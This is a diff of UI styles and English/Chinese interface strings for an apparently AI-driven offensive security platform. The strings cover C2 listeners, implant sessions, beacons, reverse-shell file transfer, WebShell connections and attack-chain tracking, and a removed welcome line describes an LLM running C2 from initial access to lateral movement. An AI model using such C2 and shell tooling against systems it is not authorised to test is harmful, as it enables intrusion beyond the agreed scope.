+    min-width: 0;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+    font-family: var(--c2-mono);
+    font-size: 11px;
+    color: var(--c2-text-muted, #64748b);
 }
 
 /* ============================================================================
@@ -1277,6 +1371,11 @@
    Modal
    ============================================================================ */
 
+/* Toast 须高于模态遮罩 (10050)，避免被 backdrop-filter 模糊 */
+#c2-toast-container {
+    z-index: 10100 !important;
+}
+
 .c2-modal-overlay {
     position: fixed;
     top: 0; left: 0; right: 0; bottom: 0;
@@ -1327,26 +1426,7 @@
     color: var(--c2-text);
 }
 
-.c2-modal-close {
-    font-size: 18px;
-    cursor: pointer;
-    color: var(--c2-text-muted);
-    background: none;
-    border: none;
-    padding: 0;
-    width: 32px;
-    height: 32px;
-    display: flex;
-    align-items: center;
-    justify-content: center;
-    border-radius: var(--c2-radius-xs);
-    transition: all 0.15s;
-}
-
-.c2-modal-close:hover {
-    background: var(--c2-surface-alt);
-    color: var(--c2-text);
-}
+/* .c2-modal-close 样式见 style.css 统一关闭按钮 */
 
 .c2-modal-body { padding: 24px 28px; }
 
@@ -1385,7 +1465,15 @@
         border-right: none;
         border-bottom: 1px solid var(--c2-border);
     }
-    .c2-stats { flex-direction: column; gap: 12px; }
     .c2-payload-grid { grid-template-columns: 1fr; }
     .c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
+    .c2-task-detail-grid { grid-template-columns: 1fr; }
+    .c2-task-timeline { grid-template-columns: 1fr; }
+    .c2-task-time-card:not(:last-child) {
+        padding-right: 0;
+        padding-bottom: 10px;
+        border-right: none;
+        border-bottom: 1px solid rgba(59, 130, 246, 0.12);
+    }
+    .c2-modal.c2-modal--wide { max-width: 100%; }
 }

web/static/i18n/en-US.json

@@ -79,7 +79,6 @@
     "settings": "System settings",
     "hitl": "Human-in-the-loop",
     "c2": "C2",
-    "c2Manage": "C2 management",
     "c2Listeners": "Listeners",
     "c2Sessions": "Sessions",
     "c2Tasks": "Tasks",
@@ -98,8 +97,13 @@
     "clickToViewTasks": "Click to view tasks",
     "clickToViewVuln": "Click to view vulnerabilities",
     "clickToViewMCP": "Click to view MCP monitor",
+    "accessOverviewTitle": "Access overview",
+    "accessTabsAria": "C2 and WebShell",
     "c2OverviewTitle": "C2 overview",
     "c2GoManage": "Open C2 →",
+    "webshellGoManage": "Open WebShell →",
+    "webshellConnections": "Active connections",
+    "webshellClickConnections": "View connections",
     "c2ListenersRunning": "Listeners running",
     "c2SessionsOnline": "Sessions online",
     "c2TasksPending": "Pending / queued tasks",
@@ -153,7 +157,14 @@
     "lastUpdated": "Last updated",
     "viewAll": "View all →",
     "recentVulns": "Recent vulnerabilities",
+    "recentFacts": "Recent facts",
     "noVulnYet": "No recent vulnerabilities",
+    "noFactsYet": "No recent facts",
+    "noFactsDesc": "In project-bound chats, the agent records targets, findings, and attack chains",
+    "createFirstProjectBtn": "Create first project",
+    "factProjectMeta": "{{project}} · {{key}}",
+    "factsAcrossProjects_one": "{{count}} active project · {{facts}} facts",
+    "factsAcrossProjects_other": "{{count}} active projects · {{facts}} facts",
     "capabilities": "Capabilities",
     "mcpTools": "MCP tools",
     "rolesLabel": "Roles",
@@ -194,6 +205,7 @@
     "statusConfirmed": "Confirmed",
     "statusFixed": "Fixed",
     "statusFalsePositive": "False positive",
+    "statusIgnored": "Ignored",
     "fixRate": "Fix rate",
     "dataStale": "Data may be stale — please refresh",
     "recommendedActions": "Recommended Actions",
@@ -230,6 +242,13 @@
     "newProjectCta": "+ New project",
     "projectList": "Project list",
     "searchProjectsPlaceholder": "Search projects…",
+    "paginationShow": "Show {{start}}-{{end}} of {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "{{total}} total",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "Per page",
+    "paginationPrev": "Previous",
+    "paginationNext": "Next",
     "selectOrCreateTitle": "Select or create a project",
     "selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.",
     "createFirstProject": "Create first project",
@@ -377,6 +396,7 @@
     "settingsIntroTitle": "Project settings",
     "settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.",
     "pinProject": "Pin project (show first in list)",
+    "pinFact": "Pin fact (prioritize in list and blackboard index)",
     "editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…",
     "scopeTitle": "Test scope",
     "scopeHint": "JSON format for Agent authorization boundary and target assets",
@@ -408,6 +428,13 @@
     "addGroup": "New group",
     "recentConversations": "Recent conversations",
     "batchManage": "Batch manage",
+    "paginationShow": "Show {{start}}-{{end}} of {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "{{total}} total",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "Per page",
+    "paginationPrev": "Previous",
+    "paginationNext": "Next",
     "attackChain": "Attack chain",
     "viewAttackChain": "View attack chain",
     "selectRole": "Select role",
@@ -438,7 +465,7 @@
     "noHistoryConversations": "No conversation history yet",
     "renameGroupPrompt": "Please enter new name:",
     "deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
-    "deleteConversationConfirm": "Are you sure you want to delete this conversation?",
+    "deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
     "renameFailed": "Rename failed",
     "downloadConversationFailed": "Failed to download conversation",
     "viewAttackChainSelectConv": "Please select a conversation to view attack chain",
@@ -475,6 +502,8 @@
     "einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
     "einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
     "einoRunRetryTitle": "🔁 Transient error retry",
+    "einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
+    "einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
     "einoRunRetryErrorDetail": "Error detail",
     "iterationLimitReachedTitle": "⛔ Iteration limit reached",
     "iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
@@ -932,6 +961,9 @@
     "externalBadge": "External",
     "externalFrom": "External ({{name}})",
     "externalToolFrom": "External MCP - Source: {{name}}",
+    "clickToViewTools": "Click to view tools from {{name}}",
+    "filterBySource": "Source: {{name}}",
+    "clearSourceFilter": "Clear source filter",
     "noDescription": "No description",
     "paginationInfo": "{{start}}-{{end}} of {{total}} tools",
     "perPage": "Per page:",
@@ -1499,9 +1531,15 @@
     "loading": "Loading...",
     "noStatsData": "No statistical data",
     "noExecutions": "No execution records",
+    "emptyHint": "Execution records will appear here after you invoke MCP tools in chat or tasks",
     "noRecordsWithFilter": "No records with current filter",
     "paginationInfo": "Show {{start}}-{{end}} of {{total}} records",
     "perPageLabel": "Per page",
+    "firstPage": "First",
+    "prevPage": "Previous",
+    "nextPage": "Next",
+    "lastPage": "Last",
+    "pageInfo": "Page {{page}} of {{total}}",
     "loadStatsError": "Failed to load statistics",
     "loadExecutionsError": "Failed to load execution records",
     "totalCalls": "Total calls",
@@ -1514,6 +1552,17 @@
     "unknownTool": "Unknown tool",
     "successFailedRate": "Success {{success}} / Failed {{failed}} · {{rate}}% success rate",
     "topToolsTitle": "Top {{n}} tools by calls",
+    "toolRankingTitle": "Tool call ranking",
+    "toolStatsTitle": "Tool statistics",
+    "toolStatsHint": "Click a bar segment or row to filter records below; hover to highlight",
+    "scopeCumulative": "All time",
+    "scopeTimeline": "Trend period",
+    "filterActive": "Filtered: {{tool}}",
+    "kpiScopeNote": "Lifetime totals",
+    "columnCalls": "Calls",
+    "columnShare": "Share",
+    "columnSuccessRate": "Success rate",
+    "rankingSummary": "Top {{n}} {{pct}}% · {{total}} total calls",
     "barVolumeLegend": "Bar length: relative call volume; green/red: success vs failure share",
     "clickToFilterTool": "Click a row to filter records below",
     "toolRowAriaLabel": "{{name}}, {{total}} calls, {{rate}}% success rate. Click to filter records.",
@@ -1526,9 +1575,21 @@
     "rateWarning": "Some failures detected",
     "rateCritical": "High failure rate",
     "statsSubtitle": "Refreshed {{time}} · {{count}} tools",
+    "timelineTitle": "Call trend",
+    "timelineHint": "All tools combined (not split by tool)",
+    "timelineRange24h": "24h",
+    "timelineRange7d": "7d",
+    "timelineRange30d": "30d",
+    "timelineSummary": "{{total}} calls in range · peak {{peak}}",
+    "timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
+    "timelineNoData": "No calls in this period",
+    "timelineLoadError": "Failed to load call trend",
+    "timelineTotalLegend": "Total calls",
+    "timelineFailedLegend": "Failed",
+    "timelineTooltip": "{{time}}: {{total}} calls ({{failed}} failed)",
     "distTitle": "Call distribution",
     "distLegend": "Slice area shows share of all calls",
-    "distClickHint": "Click legend or slice to filter records",
+    "distClickHint": "Click a bar segment to filter records",
     "distHeaderHint": "{{n}} total calls",
     "distSegmentAria": "{{name}}, {{pct}}% of calls, {{calls}} times",
     "distOthersNoFilter": "Other tools cannot be filtered individually",
@@ -1748,6 +1809,7 @@
     "statusConfirmed": "Confirmed",
     "statusFixed": "Fixed",
     "statusFalsePositive": "False positive",
+    "statusIgnored": "Ignored",
     "searchVulnId": "Search vuln ID",
     "searchKeyword": "Search title, description, type, target…",
     "searchKeywordShort": "Keyword",
@@ -1758,6 +1820,12 @@
     "loadListFailed": "Failed to load",
     "noRecords": "No vulnerability records",
     "batchExport": "Batch export",
+    "batchDelete": "Batch delete",
+    "batchDeleteNoResults": "No vulnerabilities match the current filters to delete",
+    "batchDeleteConfirm": "Delete {{count}} vulnerability record(s) matching the current filters? This cannot be undone.",
+    "batchDeleteConfirmAll": "No filters are set. This will delete all {{count}} vulnerability record(s). This cannot be undone. Continue?",
+    "batchDeleteSuccess": "Successfully deleted {{count}} vulnerability record(s)",
+    "batchDeleteFailed": "Batch delete failed",
     "downloadMarkdownTitle": "Download Markdown",
     "exportNoResults": "No vulnerabilities match the current filters",
     "exportStarted": "Started downloading {{count}} file(s)",
@@ -1836,7 +1904,7 @@
     "descPlaceholder": "When the orchestrator should delegate to this agent",
     "fieldTools": "Tools (comma-separated; same keys as role tools)",
     "fieldBindRole": "Bind role (optional)",
-    "fieldMaxIter": "Max sub-agent iterations (0 = use global default)",
+    "fieldMaxIter": "Max iterations (0 = use Settings → agent.max_iterations)",
     "fieldInstruction": "System prompt (Markdown body)",
     "instructionPlaceholder": "You are a specialist agent...",
     "nameRequired": "Display name is required",
@@ -1974,8 +2042,6 @@
     "visionSkipPreprocessHint": "0 = always JPEG compress; must also fit long-edge and payload limits.",
     "visionDetail": "Image detail",
     "visionTimeout": "Timeout (seconds)",
-    "visionAllowedRoots": "Extra allowed path roots",
-    "visionAllowedRootsPlaceholder": "One absolute path per line, optional",
     "visionTestFillRequired": "Enter vision model and ensure API Key is available (or reuse OpenAI)",
     "testConnection": "Test Connection",
     "testFillRequired": "Please fill in API Key and Model first",
@@ -2224,6 +2290,9 @@
     "descriptionPlaceholder": "Short description",
     "descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
     "packageFiles": "Package files",
+    "packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
+    "folderHint": "Folder (not editable)",
+    "clickToEdit": "Click to edit this file",
     "editingFile": "Editing",
     "newFile": "New file",
     "newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
@@ -2257,7 +2326,7 @@
     "selectAll": "Select all",
     "deleteSelected": "Delete selected",
     "confirmDeleteNone": "Please select at least one conversation to delete",
-    "confirmDeleteN": "Delete {{count}} selected conversation(s)?",
+    "confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
     "deleteFailed": "Delete failed",
     "unnamedConversation": "Unnamed conversation"
   },
@@ -2403,6 +2472,7 @@
     "statusConfirmed": "Confirmed",
     "statusFixed": "Fixed",
     "statusFalsePositive": "False positive",
+    "statusIgnored": "Ignored",
     "type": "Vulnerability type",
     "typePlaceholder": "e.g. SQL injection, XSS, CSRF",
     "target": "Target",
@@ -2493,14 +2563,6 @@
     "checkboxLinkTitle": "Check to link this tool to this role"
   },
   "c2": {
-    "title": "C2 Management",
-    "welcomeTitle": "AI-Native C2 Framework",
-    "welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
-    "statListeners": "Running Listeners",
-    "statSessions": "Online Sessions",
-    "statPending": "Pending Tasks",
-    "goListeners": "Manage Listeners",
-    "goSessions": "View Sessions",
     "clipboardCopied": "Copied to clipboard",
     "fmt": {
       "durationMs": "{{n}}ms",
@@ -2510,6 +2572,15 @@
     "files": {
       "parent": "Parent",
       "refresh": "Refresh",
+      "upload": "Upload",
+      "uploading": "Uploading {{name}} · {{percent}}%",
+      "uploadOk": "Uploaded",
+      "uploadQueued": "Upload task queued",
+      "uploadPendingApproval": "Upload task pending HITL approval",
+      "uploadUnsupported": "Upload is not supported for this session",
+      "uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
+      "uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
+      "uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
       "loading": "Loading…",
       "timeout": "Timed out loading files",
       "emptyDir": "Empty directory",
@@ -2519,6 +2590,7 @@
       "colActions": "Actions",
       "open": "Open",
       "download": "Download",
+      "downloadOk": "Downloaded",
       "failed": "Failed"
     },
     "listeners": {
@@ -2635,7 +2707,7 @@
       "confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
       "toastExitSent": "Exit command sent",
       "toastSessionDeleted": "Session record deleted",
-      "terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
+      "terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
       "termStatusReady": "Ready",
       "termStatusExec": "Executing…",
       "termStatusErr": "Error",
@@ -2644,6 +2716,9 @@
       "termWaitTimeout": "[Timed out waiting for result]",
       "termCleared": "Terminal cleared",
       "termNoSelection": "No text selected",
+      "termWaitFinish": "Please wait for the current command to finish",
+      "termCtrlC": "Remote interrupt is not supported in this version",
+      "termQueued": "[Command queued — will run after the current task completes]",
       "clearTerminal": "Clear"
     },
     "tasks": {
@@ -2670,6 +2745,7 @@
       "colTask": "Task",
       "colSession": "Session",
       "colType": "Type",
+      "colCommand": "Command",
       "colStatus": "Status",
       "colDuration": "Duration",
       "colCreated": "Created",
@@ -2680,6 +2756,8 @@
       "labelId": "ID",
       "labelSession": "Session",
       "labelType": "Type",
+      "labelCommand": "Command",
+      "labelPayload": "Payload",
       "labelStatus": "Status",
       "labelCreated": "Created",
       "labelSent": "Sent",

web/static/i18n/zh-CN.json

@@ -79,7 +79,6 @@
     "settings": "系统设置",
     "hitl": "人机协同",
     "c2": "C2",
-    "c2Manage": "C2 管理",
     "c2Listeners": "监听器",
     "c2Sessions": "会话",
     "c2Tasks": "任务",
@@ -98,8 +97,13 @@
     "clickToViewTasks": "点击查看任务管理",
     "clickToViewVuln": "点击查看漏洞管理",
     "clickToViewMCP": "点击查看 MCP 监控",
+    "accessOverviewTitle": "接入概览",
+    "accessTabsAria": "C2 与 WebShell",
     "c2OverviewTitle": "C2 概览",
     "c2GoManage": "进入 C2 →",
+    "webshellGoManage": "进入 WebShell →",
+    "webshellConnections": "活跃连接",
+    "webshellClickConnections": "查看连接",
     "c2ListenersRunning": "运行中监听器",
     "c2SessionsOnline": "在线会话",
     "c2TasksPending": "待审 / 排队任务",
@@ -153,7 +157,13 @@
     "lastUpdated": "上次更新",
     "viewAll": "查看全部 →",
     "recentVulns": "最近漏洞",
+    "recentFacts": "近期事实",
     "noVulnYet": "暂无最近漏洞",
+    "noFactsYet": "暂无近期事实",
+    "noFactsDesc": "在绑定项目的对话中，Agent 会自动记录目标、漏洞、攻击链等事实",
+    "createFirstProjectBtn": "创建第一个项目",
+    "factProjectMeta": "{{project}} · {{key}}",
+    "factsAcrossProjects": "{{count}} 个活跃项目 · {{facts}} 条事实",
     "capabilities": "能力总览",
     "mcpTools": "MCP 工具",
     "rolesLabel": "角色",
@@ -188,6 +198,7 @@
     "statusConfirmed": "已确认",
     "statusFixed": "已修复",
     "statusFalsePositive": "误报",
+    "statusIgnored": "已忽略",
     "fixRate": "修复率",
     "dataStale": "数据可能已过期，请手动刷新",
     "recommendedActions": "推荐操作",
@@ -219,6 +230,13 @@
     "newProjectCta": "+ 新建项目",
     "projectList": "项目列表",
     "searchProjectsPlaceholder": "搜索项目…",
+    "paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "共 {{total}} 条",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "每页",
+    "paginationPrev": "上一页",
+    "paginationNext": "下一页",
     "selectOrCreateTitle": "选择或创建项目",
     "selectOrCreateHint": "项目用于跨对话共享「事实黑板」：目标、环境、认证等信息会在绑定项目的对话中自动注入。",
     "createFirstProject": "创建第一个项目",
@@ -366,6 +384,7 @@
     "settingsIntroTitle": "项目设置",
     "settingsIntroHint": "配置项目元数据与 Agent 授权边界，保存后即时生效于绑定对话。",
     "pinProject": "置顶项目（列表优先显示）",
+    "pinFact": "置顶事实（列表与黑板索引优先）",
     "editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…",
     "scopeTitle": "测试范围",
     "scopeHint": "JSON 格式，供 Agent 理解授权边界与目标资产",
@@ -397,6 +416,13 @@
     "addGroup": "新建分组",
     "recentConversations": "最近对话",
     "batchManage": "批量管理",
+    "paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "共 {{total}} 条",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "每页",
+    "paginationPrev": "上一页",
+    "paginationNext": "下一页",
     "attackChain": "攻击链",
     "viewAttackChain": "查看攻击链",
     "selectRole": "选择角色",
@@ -427,7 +453,7 @@
     "noHistoryConversations": "暂无历史对话",
     "renameGroupPrompt": "请输入新名称：",
     "deleteGroupConfirm": "确定要删除此分组吗？分组中的对话不会被删除，但会从分组中移除。",
-    "deleteConversationConfirm": "确定要删除此对话吗？",
+    "deleteConversationConfirm": "确定要删除此对话吗？对话消息将不可恢复，但已记录的漏洞会保留在漏洞库中。",
     "renameFailed": "重命名失败",
     "downloadConversationFailed": "下载对话失败",
     "viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
@@ -464,6 +490,8 @@
     "einoStreamErrorTitle": "⚠️ Eino 流式中断（{{agent}}）",
     "einoStreamErrorMessage": "流式读取异常，系统将按策略重试或结束。",
     "einoRunRetryTitle": "🔁 临时错误重试",
+    "einoEmptyResponseContinueTitle": "🔁 自动续跑（无助手正文）",
+    "einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文，正在基于轨迹自动续跑…",
     "einoRunRetryErrorDetail": "具体报错",
     "iterationLimitReachedTitle": "⛔ 达到迭代上限",
     "iterationLimitReachedMessage": "已达到最大迭代次数，任务已停止继续自动迭代。",
@@ -921,6 +949,9 @@
     "externalBadge": "外部",
     "externalFrom": "外部 ({{name}})",
     "externalToolFrom": "外部MCP工具 - 来源：{{name}}",
+    "clickToViewTools": "点击查看 {{name}} 的工具",
+    "filterBySource": "来源: {{name}}",
+    "clearSourceFilter": "清除来源筛选",
     "noDescription": "无描述",
     "paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
     "perPage": "每页:",
@@ -1488,9 +1519,15 @@
     "loading": "加载中...",
     "noStatsData": "暂无统计数据",
     "noExecutions": "暂无执行记录",
+    "emptyHint": "在对话或任务中调用 MCP 工具后，执行记录将显示在此处",
     "noRecordsWithFilter": "当前筛选条件下暂无记录",
     "paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
     "perPageLabel": "每页显示",
+    "firstPage": "首页",
+    "prevPage": "上一页",
+    "nextPage": "下一页",
+    "lastPage": "末页",
+    "pageInfo": "第 {{page}} / {{total}} 页",
     "loadStatsError": "无法加载统计信息",
     "loadExecutionsError": "无法加载执行记录",
     "totalCalls": "总调用次数",
@@ -1503,6 +1540,17 @@
     "unknownTool": "未知工具",
     "successFailedRate": "成功 {{success}} / 失败 {{failed}} · 成功率 {{rate}}%",
     "topToolsTitle": "工具调用 Top {{n}}",
+    "toolRankingTitle": "工具调用排行",
+    "toolStatsTitle": "工具统计",
+    "toolStatsHint": "点击色条或列表行筛选下方执行记录；悬停联动高亮",
+    "scopeCumulative": "累计",
+    "scopeTimeline": "趋势时段",
+    "filterActive": "已筛选：{{tool}}",
+    "kpiScopeNote": "累计统计（全时段）",
+    "columnCalls": "调用",
+    "columnShare": "占比",
+    "columnSuccessRate": "成功率",
+    "rankingSummary": "Top {{n}} 占 {{pct}}% · 共 {{total}} 次调用",
     "barVolumeLegend": "条长表示相对调用量，条内绿/红为成功/失败占比",
     "clickToFilterTool": "点击行筛选下方执行记录",
     "toolRowAriaLabel": "{{name}}，{{total}} 次调用，成功率 {{rate}}%，点击查看执行记录",
@@ -1515,9 +1563,21 @@
     "rateWarning": "存在失败调用",
     "rateCritical": "失败率偏高",
     "statsSubtitle": "最后刷新 {{time}} · 共 {{count}} 个工具",
+    "timelineTitle": "调用趋势",
+    "timelineHint": "全部工具合计，不按工具拆分",
+    "timelineRange24h": "24 小时",
+    "timelineRange7d": "7 天",
+    "timelineRange30d": "30 天",
+    "timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
+    "timelineSparseHint": "该时段多数时间为 0，峰值 {{peak}} 次出现在 {{peakTime}}",
+    "timelineNoData": "该时段暂无调用",
+    "timelineLoadError": "无法加载调用趋势",
+    "timelineTotalLegend": "总调用",
+    "timelineFailedLegend": "失败",
+    "timelineTooltip": "{{time}}：{{total}} 次（失败 {{failed}}）",
     "distTitle": "调用分布",
     "distLegend": "扇区面积为占全部调用比例",
-    "distClickHint": "点击图例或扇区筛选执行记录",
+    "distClickHint": "点击色条筛选执行记录",
     "distHeaderHint": "共 {{n}} 次调用",
     "distSegmentAria": "{{name}}，占 {{pct}}%，{{calls}} 次",
     "distOthersNoFilter": "其他工具无法单独筛选",
@@ -1737,6 +1797,7 @@
     "statusConfirmed": "已确认",
     "statusFixed": "已修复",
     "statusFalsePositive": "误报",
+    "statusIgnored": "已忽略",
     "searchVulnId": "搜索漏洞 ID",
     "searchKeyword": "搜索标题、描述、类型、目标…",
     "searchKeywordShort": "关键词",
@@ -1747,6 +1808,12 @@
     "loadListFailed": "加载失败",
     "noRecords": "暂无漏洞记录",
     "batchExport": "批量导出",
+    "batchDelete": "批量删除",
+    "batchDeleteNoResults": "当前筛选条件下没有可删除的漏洞",
+    "batchDeleteConfirm": "确定要删除当前筛选条件下的 {{count}} 条漏洞吗？此操作不可恢复。",
+    "batchDeleteConfirmAll": "未设置筛选条件，将删除全部 {{count}} 条漏洞。此操作不可恢复，确定继续？",
+    "batchDeleteSuccess": "成功删除 {{count}} 条漏洞",
+    "batchDeleteFailed": "批量删除失败",
     "downloadMarkdownTitle": "下载 Markdown",
     "exportNoResults": "当前筛选条件下无可导出漏洞",
     "exportStarted": "已开始下载 {{count}} 份报告",
@@ -1825,7 +1892,7 @@
     "descPlaceholder": "何时由协调者调度该子代理",
     "fieldTools": "可用工具（逗号分隔，与角色工具 key 一致）",
     "fieldBindRole": "绑定角色（可选）",
-    "fieldMaxIter": "子代理最大迭代（0=使用全局默认）",
+    "fieldMaxIter": "最大迭代（0=沿用设置页 agent.max_iterations）",
     "fieldInstruction": "系统提示词（Markdown 正文）",
     "instructionPlaceholder": "You are a specialist agent...",
     "nameRequired": "请填写显示名称",
@@ -1963,8 +2030,6 @@
     "visionSkipPreprocessHint": "0 表示始终 JPEG 压缩；需同时满足长边与 payload 限制。",
     "visionDetail": "Image detail",
     "visionTimeout": "超时（秒）",
-    "visionAllowedRoots": "额外允许路径根目录",
-    "visionAllowedRootsPlaceholder": "每行一个绝对路径，可选",
     "visionTestFillRequired": "请填写视觉模型，并确保 API Key 可用（可复用 OpenAI）",
     "testConnection": "测试连接",
     "testFillRequired": "请先填写 API Key 和模型",
@@ -2213,6 +2278,9 @@
     "descriptionPlaceholder": "Skill的简短描述",
     "descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段（创建/编辑 SKILL.md 时使用）",
     "packageFiles": "包内文件",
+    "packageFilesHint": "点击文件进行编辑；文件夹仅作分组展示，不可点击",
+    "folderHint": "文件夹（不可编辑）",
+    "clickToEdit": "点击编辑此文件",
     "editingFile": "正在编辑",
     "newFile": "新建文件",
     "newFilePlaceholder": "新文件路径，如 FORMS.md 或 scripts/extra.sh",
@@ -2246,7 +2314,7 @@
     "selectAll": "全选",
     "deleteSelected": "删除所选",
     "confirmDeleteNone": "请先选择要删除的对话",
-    "confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗？",
+    "confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗？对话消息将不可恢复，但已记录的漏洞会保留在漏洞库中。",
     "deleteFailed": "删除失败",
     "unnamedConversation": "未命名对话"
   },
@@ -2392,6 +2460,7 @@
     "statusConfirmed": "已确认",
     "statusFixed": "已修复",
     "statusFalsePositive": "误报",
+    "statusIgnored": "已忽略",
     "type": "漏洞类型",
     "typePlaceholder": "如：SQL注入、XSS、CSRF等",
     "target": "目标",
@@ -2482,14 +2551,6 @@
     "checkboxLinkTitle": "勾选表示本角色关联使用该工具"
   },
   "c2": {
-    "title": "C2 管理",
-    "welcomeTitle": "AI-Native C2 框架",
-    "welcomeDesc": "以 MCP 工具为一等公民，让 LLM 可以像调用 nmap 一样调用 C2 完成「上线 → 控制 → 任务 → 横向 → 清场」全流程",
-    "statListeners": "运行中监听器",
-    "statSessions": "在线会话",
-    "statPending": "待审任务",
-    "goListeners": "管理监听器",
-    "goSessions": "查看会话",
     "clipboardCopied": "已复制到剪贴板",
     "fmt": {
       "durationMs": "{{n}}ms",
@@ -2499,6 +2560,15 @@
     "files": {
       "parent": "上级目录",
       "refresh": "刷新",
+      "upload": "上传",
+      "uploading": "正在上传 {{name}} · {{percent}}%",
+      "uploadOk": "上传成功",
+      "uploadQueued": "上传任务已入队",
+      "uploadPendingApproval": "上传任务待人机协同审批",
+      "uploadUnsupported": "当前会话不支持上传",
+      "uploadCurlBeacon": "Curl 轻量信标不支持文件上传，请使用 HTTP Beacon",
+      "uploadTcpShell": "当前为 TCP 反弹 Shell（bash/nc），仅支持命令与下载。上传请改用：① 同一监听器下编译 CSB1 Beacon，或 ② HTTP/HTTPS Beacon 重新上线。",
+      "uploadTcpReverse": "当前为 TCP 反弹 Shell（bash/nc），仅支持命令与下载。上传请改用：① 同一监听器下编译 CSB1 Beacon，或 ② HTTP/HTTPS Beacon 重新上线。",
       "loading": "加载中…",
       "timeout": "加载文件超时",
       "emptyDir": "空目录",
@@ -2508,6 +2578,7 @@
       "colActions": "操作",
       "open": "打开",
       "download": "下载",
+      "downloadOk": "下载成功",
       "failed": "失败"
     },
     "listeners": {
@@ -2624,7 +2695,7 @@
       "confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录？（不会向植入体发送退出；若需退出目标进程请使用「终止会话」。）",
       "toastExitSent": "退出指令已发送",
       "toastSessionDeleted": "会话记录已删除",
-      "terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
+      "terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行；↑↓ 历史；Ctrl+L 清屏；Ctrl+C 取消输入",
       "termStatusReady": "就绪",
       "termStatusExec": "执行中…",
       "termStatusErr": "错误",
@@ -2633,6 +2704,9 @@
       "termWaitTimeout": "[等待结果超时]",
       "termCleared": "终端已清屏",
       "termNoSelection": "未选中文本",
+      "termWaitFinish": "请等待当前命令执行完成",
+      "termCtrlC": "当前版本暂不支持中断远程命令",
+      "termQueued": "[命令已加入队列，将在当前任务完成后执行]",
       "clearTerminal": "清屏"
     },
     "tasks": {
@@ -2659,6 +2733,7 @@
       "colTask": "任务",
       "colSession": "会话",
       "colType": "类型",
+      "colCommand": "命令",
       "colStatus": "状态",
       "colDuration": "耗时",
       "colCreated": "创建时间",
@@ -2669,6 +2744,8 @@
       "labelId": "ID",
       "labelSession": "会话",
       "labelType": "类型",
+      "labelCommand": "命令",
+      "labelPayload": "参数",
       "labelStatus": "状态",
       "labelCreated": "创建时间",
       "labelSent": "发送时间",

web/static/js/auth.js

@@ -343,48 +343,13 @@ function escapeHtml(text) {
     return div.innerHTML;
 }
 
-function formatMarkdown(text) {
-    const sanitizeConfig = {
-        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
-        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
-        ALLOW_DATA_ATTR: false,
-    };
-
-    const raw = text == null ? '' : String(text);
-    const src = typeof window.normalizeAssistantMarkdownSource === 'function'
-        ? window.normalizeAssistantMarkdownSource(raw)
-        : raw;
-
-    if (typeof DOMPurify !== 'undefined') {
-        if (typeof marked !== 'undefined' && !/<[a-z][\s\S]*>/i.test(src)) {
-            try {
-                marked.setOptions({
-                    breaks: true,
-                    gfm: true,
